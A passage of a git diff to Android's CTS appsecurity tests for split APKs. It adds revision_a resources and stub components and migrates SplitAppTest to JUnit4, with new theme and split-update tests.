+        <!-- Updates to .revision_a.MyProvider -->
+        <provider android:name=".revision_a.MyProvider"
+             android:authorities="com.android.cts.splitapp"
+             android:exported="true"
+             android:directBootAware="true">
+        </provider>
+
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.splitapp"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
new file mode 100644
index 0000000..5303667
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
@@ -0,0 +1 @@
+DIRFILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
new file mode 100644
index 0000000..79d2b95
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
@@ -0,0 +1 @@
+FILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
new file mode 100644
index 0000000..feeafea
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <bool name="my_receiver_enabled">true</bool>
+
+    <string name="my_string1">blue-revision</string>
+    <string name="my_string2">purple-revision</string>
+    <string name="my_new_string">new string</string>
+
+    <color name="my_color">#00FFFF</color>
+    <integer name="my_integer">456</integer>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
new file mode 100644
index 0000000..c2036db
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class MyActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
new file mode 100644
index 0000000..ea22de6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class MyProvider extends ContentProvider {
+    public static boolean sCreated = false;
+
+    @Override
+    public boolean onCreate() {
+        sCreated = true;
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
new file mode 100644
index 0000000..2a7f180
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import com.android.cts.splitapp.BaseBootReceiver;
+
+public class MyReceiver extends BaseBootReceiver {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index f25ad27..286a26f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -16,10 +16,20 @@
 
 package com.android.cts.splitapp;
 
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
 import static org.xmlpull.v1.XmlPullParser.END_DOCUMENT;
 import static org.xmlpull.v1.XmlPullParser.START_TAG;
 
+import android.app.Activity;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -40,13 +50,19 @@
 import android.os.Environment;
 import android.system.Os;
 import android.system.StructStat;
-import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 import android.util.DisplayMetrics;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
+import com.android.cts.splitapp.TestThemeHelper.ThemeColors;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
@@ -62,8 +78,10 @@
 import java.lang.reflect.Method;
 import java.util.List;
 import java.util.Locale;
+import java.util.stream.Collectors;
 
-public class SplitAppTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SplitAppTest {
     private static final String TAG = "SplitAppTest";
     private static final String PKG = "com.android.cts.splitapp";
 
@@ -72,9 +90,20 @@
     public static boolean sFeatureTouched = false;
     public static String sFeatureValue = null;
 
+    private static final String BASE_THEME_ACTIVITY = ".ThemeActivity";
+    private static final String WARM_THEME_ACTIVITY = ".WarmThemeActivity";
+    private static final String ROSE_THEME_ACTIVITY = ".RoseThemeActivity";
+
+    @Rule
+    public ActivityTestRule<Activity> mActivityRule =
+            new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
+                    false /*launchActivity*/);
+
+    @Test
     public void testNothing() throws Exception {
     }
 
+    @Test
     public void testSingleBase() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
@@ -131,6 +160,7 @@
         }
     }
 
+    @Test
     public void testDensitySingle() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -143,6 +173,7 @@
         assertEquals(0xff7e00ff, getDrawableColor(d));
     }
 
+    @Test
     public void testDensityAll() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -164,6 +195,7 @@
         assertEquals(0xffff0000, getDrawableColor(r.getDrawable(R.drawable.image)));
     }
 
+    @Test
     public void testDensityBest1() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -172,6 +204,7 @@
         assertEquals(0xff7e00ff, getDrawableColor(r.getDrawable(R.drawable.image)));
     }
 
+    @Test
     public void testDensityBest2() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -180,6 +213,7 @@
         assertEquals(0xffff0000, getDrawableColor(r.getDrawable(R.drawable.image)));
     }
 
+    @Test
     public void testApi() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
@@ -196,6 +230,7 @@
         assertEquals("com.android.cts.splitapp.MyReceiver", result.get(0).activityInfo.name);
     }
 
+    @Test
     public void testLocale() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -212,6 +247,7 @@
         assertEquals("pourpre", r.getString(R.string.my_string2));
     }
 
+    @Test
     public void testNative() throws Exception {
         Log.d(TAG, "testNative() thinks it's using ABI " + Native.arch());
 
@@ -219,7 +255,8 @@
         assertEquals(11642, Native.add(4933, 6709));
     }
 
-    public void testFeatureBase() throws Exception {
+    @Test
+    public void testFeatureWarmBase() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
 
@@ -236,9 +273,9 @@
 
         // And that we can access resources from feature
         assertEquals("red", r.getString(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_string", "string", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
         assertEquals(123, r.getInteger(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
 
         final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
         final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -326,6 +363,7 @@
         }
     }
 
+    @Test
     public void testBaseInstalled() throws Exception {
         final ConditionVariable cv = new ConditionVariable();
         final BroadcastReceiver r = new BroadcastReceiver() {
@@ -351,6 +389,7 @@
      * Prior to running this test, the activity must be started. That is currently
      * done in {@link #testBaseInstalled()}.
      */
+    @Test
     public void testFeatureInstalled() throws Exception {
         final ConditionVariable cv = new ConditionVariable();
         final BroadcastReceiver r = new BroadcastReceiver() {
@@ -370,7 +409,8 @@
         getContext().unregisterReceiver(r);
     }
 
-    public void testFeatureApi() throws Exception {
+    @Test
+    public void testFeatureWarmApi() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
 
@@ -379,7 +419,7 @@
 
         // And that we can access resources from feature
         assertEquals(321, r.getInteger(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
 
         final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
         final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -396,10 +436,119 @@
         assertEquals(0, result.size());
     }
 
+    @Test
+    public void testInheritUpdatedBase_withRevisionA() throws Exception {
+        final Resources r = getContext().getResources();
+        final PackageManager pm = getContext().getPackageManager();
+
+        // Resources should have been updated
+        assertEquals(true, r.getBoolean(R.bool.my_receiver_enabled));
+
+        assertEquals("blue-revision", r.getString(R.string.my_string1));
+        assertEquals("purple-revision", r.getString(R.string.my_string2));
+
+        assertEquals(0xff00ffff, r.getColor(R.color.my_color));
+        assertEquals(456, r.getInteger(R.integer.my_integer));
+
+        // Also, new resources could be found
+        assertEquals("new string", r.getString(r.getIdentifier(
+                "my_new_string", "string", PKG)));
+
+        assertAssetContents(r, "fileA.txt", "FILEA");
+        assertAssetContents(r, "dir/dirfileA.txt", "DIRFILEA");
+
+        // Activity of ACTION_MAIN should have been updated to .revision_a.MyActivity
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        intent.setPackage(PKG);
+        final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.MyActivity");
+
+        // Receiver of DATE_CHANGED should have been updated to .revision_a.MyReceiver
+        intent = new Intent(Intent.ACTION_DATE_CHANGED);
+        intent.setPackage(PKG);
+        final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(receiverNames).contains("com.android.cts.splitapp.revision_a.MyReceiver");
+
+        // Provider should have been updated to .revision_a.MyProvider
+        final ProviderInfo info = pm.resolveContentProvider("com.android.cts.splitapp", 0);
+        assertEquals("com.android.cts.splitapp.revision_a.MyProvider", info.name);
+
+        // And assert that we spun up the provider in this process
+        final Class<?> provider = Class.forName("com.android.cts.splitapp.revision_a.MyProvider");
+        final Field field = provider.getDeclaredField("sCreated");
+        assertTrue("Expected provider to have been created", (boolean) field.get(null));
+
+        // Camera permission has been removed
+        try {
+            getContext().enforceCallingOrSelfPermission(android.Manifest.permission.CAMERA, null);
+            fail("Camera permission should not be granted");
+        } catch (SecurityException expected) {
+        }
+
+        // New Vibrate permision should be granted
+        getContext().enforceCallingOrSelfPermission(android.Manifest.permission.VIBRATE, null);
+    }
+
+    @Test
+    public void testInheritUpdatedSplit_withRevisionA() throws Exception {
+        final Resources r = getContext().getResources();
+        final PackageManager pm = getContext().getPackageManager();
+
+        // Resources should have been updated
+        assertEquals("red-revision", r.getString(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
+        assertEquals(456, r.getInteger(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
+
+        // Also, new resources could be found
+        assertEquals("feature new string", r.getString(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_new_string", "string", PKG)));
+
+        assertAssetContents(r, "fileFA.txt", "FILE_FA");
+        assertAssetContents(r, "dir/dirfileFA.txt", "DIRFILE_FA");
+
+        // Activity of ACTION_MAIN should have been updated to .revision_a.FeatureActivity
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        intent.setPackage(PKG);
+        final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.FeatureActivity");
+
+        // Receiver of DATE_CHANGED could not be found
+        intent = new Intent(Intent.ACTION_DATE_CHANGED);
+        intent.setPackage(PKG);
+        final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(receiverNames).doesNotContain("com.android.cts.splitapp.FeatureReceiver");
+
+        // Service of splitapp should have been updated to .revision_a.FeatureService
+        intent = new Intent("com.android.cts.splitapp.service");
+        intent.setPackage(PKG);
+        final List<String> serviceNames = pm.queryIntentServices(intent, 0).stream()
+                .map(info -> info.serviceInfo.name).collect(Collectors.toList());
+        assertThat(serviceNames).contains("com.android.cts.splitapp.revision_a.FeatureService");
+
+        // Provider should have been updated to .revision_a.FeatureProvider
+        final ProviderInfo info = pm.resolveContentProvider(
+                "com.android.cts.splitapp.provider", 0);
+        assertEquals("com.android.cts.splitapp.revision_a.FeatureProvider", info.name);
+
+        // And assert that we spun up the provider in this process
+        final Class<?> provider = Class.forName(
+                "com.android.cts.splitapp.revision_a.FeatureProvider");
+        final Field field = provider.getDeclaredField("sCreated");
+        assertTrue("Expected provider to have been created", (boolean) field.get(null));
+    }
+
     /**
      * Write app data in a number of locations that expect to remain intact over
      * long periods of time, such as across app moves.
      */
+    @Test
     public void testDataWrite() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         writeString(getContext().getFileStreamPath("my_int"), token);
@@ -418,6 +567,7 @@
     /**
      * Verify that data written by {@link #testDataWrite()} is still intact.
      */
+    @Test
     public void testDataRead() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         assertEquals(token, readString(getContext().getFileStreamPath("my_int")));
@@ -445,6 +595,7 @@
     /**
      * Verify that app is installed on internal storage.
      */
+    @Test
     public void testDataInternal() throws Exception {
         final StructStat internal = Os.stat(Environment.getDataDirectory().getAbsolutePath());
         final StructStat actual = Os.stat(getContext().getFilesDir().getAbsolutePath());
@@ -454,17 +605,20 @@
     /**
      * Verify that app is not installed on internal storage.
      */
+    @Test
     public void testDataNotInternal() throws Exception {
         final StructStat internal = Os.stat(Environment.getDataDirectory().getAbsolutePath());
         final StructStat actual = Os.stat(getContext().getFilesDir().getAbsolutePath());
         MoreAsserts.assertNotEqual(internal.st_dev, actual.st_dev);
     }
 
+    @Test
     public void testPrimaryDataWrite() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         writeString(new File(getContext().getExternalFilesDir(null), "my_ext"), token);
     }
 
+    @Test
     public void testPrimaryDataRead() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         assertEquals(token, readString(new File(getContext().getExternalFilesDir(null), "my_ext")));
@@ -473,6 +627,7 @@
     /**
      * Verify shared storage behavior when on internal storage.
      */
+    @Test
     public void testPrimaryInternal() throws Exception {
         assertTrue("emulated", Environment.isExternalStorageEmulated());
         assertFalse("removable", Environment.isExternalStorageRemovable());
@@ -482,6 +637,7 @@
     /**
      * Verify shared storage behavior when on physical storage.
      */
+    @Test
     public void testPrimaryPhysical() throws Exception {
         assertFalse("emulated", Environment.isExternalStorageEmulated());
         assertTrue("removable", Environment.isExternalStorageRemovable());
@@ -491,6 +647,7 @@
     /**
      * Verify shared storage behavior when on adopted storage.
      */
+    @Test
     public void testPrimaryAdopted() throws Exception {
         assertTrue("emulated", Environment.isExternalStorageEmulated());
         assertTrue("removable", Environment.isExternalStorageRemovable());
@@ -500,6 +657,7 @@
     /**
      * Verify that shared storage is unmounted.
      */
+    @Test
     public void testPrimaryUnmounted() throws Exception {
         MoreAsserts.assertNotEqual(Environment.MEDIA_MOUNTED,
                 Environment.getExternalStorageState());
@@ -508,6 +666,7 @@
     /**
      * Verify that shared storage lives on same volume as app.
      */
+    @Test
     public void testPrimaryOnSameVolume() throws Exception {
         final File current = getContext().getFilesDir();
         final File primary = Environment.getExternalStorageDirectory();
@@ -521,16 +680,19 @@
         }
     }
 
+    @Test
     public void testCodeCacheWrite() throws Exception {
         assertTrue(new File(getContext().getFilesDir(), "normal.raw").createNewFile());
         assertTrue(new File(getContext().getCodeCacheDir(), "cache.raw").createNewFile());
     }
 
+    @Test
     public void testCodeCacheRead() throws Exception {
         assertTrue(new File(getContext().getFilesDir(), "normal.raw").exists());
         assertFalse(new File(getContext().getCodeCacheDir(), "cache.raw").exists());
     }
 
+    @Test
     public void testRevision0_0() throws Exception {
         final PackageInfo info = getContext().getPackageManager()
                 .getPackageInfo(getContext().getPackageName(), 0);
@@ -539,6 +701,7 @@
         assertEquals(0, info.splitRevisionCodes[0]);
     }
 
+    @Test
     public void testRevision12_0() throws Exception {
         final PackageInfo info = getContext().getPackageManager()
                 .getPackageInfo(getContext().getPackageName(), 0);
@@ -547,6 +710,7 @@
         assertEquals(0, info.splitRevisionCodes[0]);
     }
 
+    @Test
     public void testRevision0_12() throws Exception {
         final PackageInfo info = getContext().getPackageManager()
                 .getPackageInfo(getContext().getPackageName(), 0);
@@ -555,6 +719,103 @@
         assertEquals(12, info.splitRevisionCodes[0]);
     }
 
+    @Test
+    public void launchBaseActivity_withThemeBase_baseApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeBaseLt_baseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE_LT);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeBase_baseApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeBaseLt_baseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeRose_roseApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeRoseLt_roseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeRose_roseApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeRoseLt_roseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+    }
+
+    private void assertActivityLaunchedAndThemeApplied(String activityName, int themeResId,
+            ThemeColors themeColors) {
+        final Activity activity = mActivityRule.launchActivity(
+                getTestThemeIntent(activityName, themeResId));
+        final TestThemeHelper expected = new TestThemeHelper(activity, themeResId);
+        expected.assertThemeValues(themeColors);
+        expected.assertThemeApplied(activity);
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
     private static void updateDpi(Resources r, int densityDpi) {
         final Configuration c = new Configuration(r.getConfiguration());
         c.densityDpi = densityDpi;
@@ -618,4 +879,17 @@
             is.close();
         }
     }
+
+    private int resolveResourceId(String nameOfIdentifier) {
+        final int resId = getContext().getResources().getIdentifier(nameOfIdentifier, null, null);
+        assertTrue("Resource not found: " + nameOfIdentifier, resId != 0);
+        return resId;
+    }
+
+    private static Intent getTestThemeIntent(String activityName, int themeResId) {
+        final Intent intent = new Intent(ThemeActivity.INTENT_THEME_TEST);
+        intent.setComponent(ComponentName.createRelative(PKG, activityName));
+        intent.putExtra(ThemeActivity.EXTRAS_THEME_RES_ID, themeResId);
+        return intent;
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
new file mode 100644
index 0000000..8eba5cd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.view.ContextThemeWrapper;
+import android.view.View;
+import android.view.Window;
+import android.widget.LinearLayout;
+
+/**
+ * A helper class to retrieve theme values of Theme_Base and Theme_Warm and Theme_Rose.
+ */
+public class TestThemeHelper {
+
+    public static final String THEME_WARM =
+            "com.android.cts.splitapp.feature_warm:style/Theme_Warm";
+    public static final String THEME_ROSE =
+            "com.android.cts.splitapp.feature_rose:style/Theme_Rose";
+
+    public enum ThemeColors {
+        BASE,
+        BASE_LT,
+        WARM,
+        WARM_LT,
+        ROSE,
+        ROSE_LT
+    };
+
+    private static final int COLOR_BLUE = 0xFF0000FF;
+    private static final int COLOR_TEAL = 0xFF008080;
+    private static final int COLOR_AQUA = 0xFF00FFFF;
+    private static final int COLOR_BLUE_LT = 0xFFADD8E6;
+    private static final int COLOR_TEAL_LT = 0xFFE0F0F0;
+    private static final int COLOR_AQUA_LT = 0xFFE0FFFF;
+    private static final int COLOR_RED = 0xFFFF0000;
+    private static final int COLOR_YELLOW = 0xFFFFFF00;
+    private static final int COLOR_RED_LT = 0xFFFFCCCB;
+    private static final int COLOR_ORANGE_LT = 0xFFFED8B1;
+    private static final int COLOR_PINK = 0xFFFFC0CB;
+    private static final int COLOR_RUBY = 0xFFCC0080;
+    private static final int COLOR_PINK_LT = 0xFFFFB6C1;
+    private static final int COLOR_ROSE_LT = 0xFFFF66CC;
+
+    private static final int[] THEME_BASE_COLORS = {COLOR_BLUE, COLOR_TEAL, COLOR_AQUA};
+    private static final int[] THEME_BASE_LT_COLORS = {COLOR_BLUE_LT, COLOR_TEAL_LT, COLOR_AQUA_LT};
+    private static final int[] THEME_WARM_COLORS = {COLOR_RED, COLOR_TEAL, COLOR_YELLOW};
+    private static final int[] THEME_WARM_LT_COLORS =
+            {COLOR_RED_LT, COLOR_ORANGE_LT, COLOR_AQUA_LT};
+    private static final int[] THEME_ROSE_COLORS = {COLOR_PINK, COLOR_TEAL, COLOR_RUBY};
+    private static final int[] THEME_ROSE_LT_COLORS = {COLOR_PINK_LT, COLOR_ROSE_LT, COLOR_AQUA_LT};
+
+    /** {@link com.android.cts.splitapp.R.attr.customColor} */
+    private final int mCustomColor;
+
+    /** {#link android.R.attr.colorBackground} */
+    private final int mColorBackground;
+
+    /** {#link android.R.attr.navigationBarColor} */
+    private final int mNavigationBarColor;
+
+    /** {#link android.R.attr.statusBarColor} */
+    private final int mStatusBarColor;
+
+    /** {#link android.R.attr.windowBackground} */
+    private final int mWindowBackground;
+
+    public TestThemeHelper(Context context, int themeResId) {
+        final Resources.Theme theme = new ContextThemeWrapper(context, themeResId).getTheme();
+        mCustomColor = getColor(theme, R.attr.customColor);
+        mColorBackground = getColor(theme, android.R.attr.colorBackground);
+        mNavigationBarColor = getColor(theme, android.R.attr.navigationBarColor);
+        mStatusBarColor = getColor(theme, android.R.attr.statusBarColor);
+        mWindowBackground = getDrawableColor(theme, android.R.attr.windowBackground);
+    }
+
+    public void assertThemeValues(ThemeColors themeColors) {
+        final int[] colors = getThemeColors(themeColors);
+        assertThat(themeColors).isNotNull();
+        assertThat(mCustomColor).isEqualTo(colors[0]);
+        assertThat(mNavigationBarColor).isEqualTo(colors[1]);
+        assertThat(mStatusBarColor).isEqualTo(colors[2]);
+        assertThat(mWindowBackground).isEqualTo(mCustomColor);
+    }
+
+    private int[] getThemeColors(ThemeColors themeColors) {
+        switch (themeColors) {
+            case BASE: return THEME_BASE_COLORS;
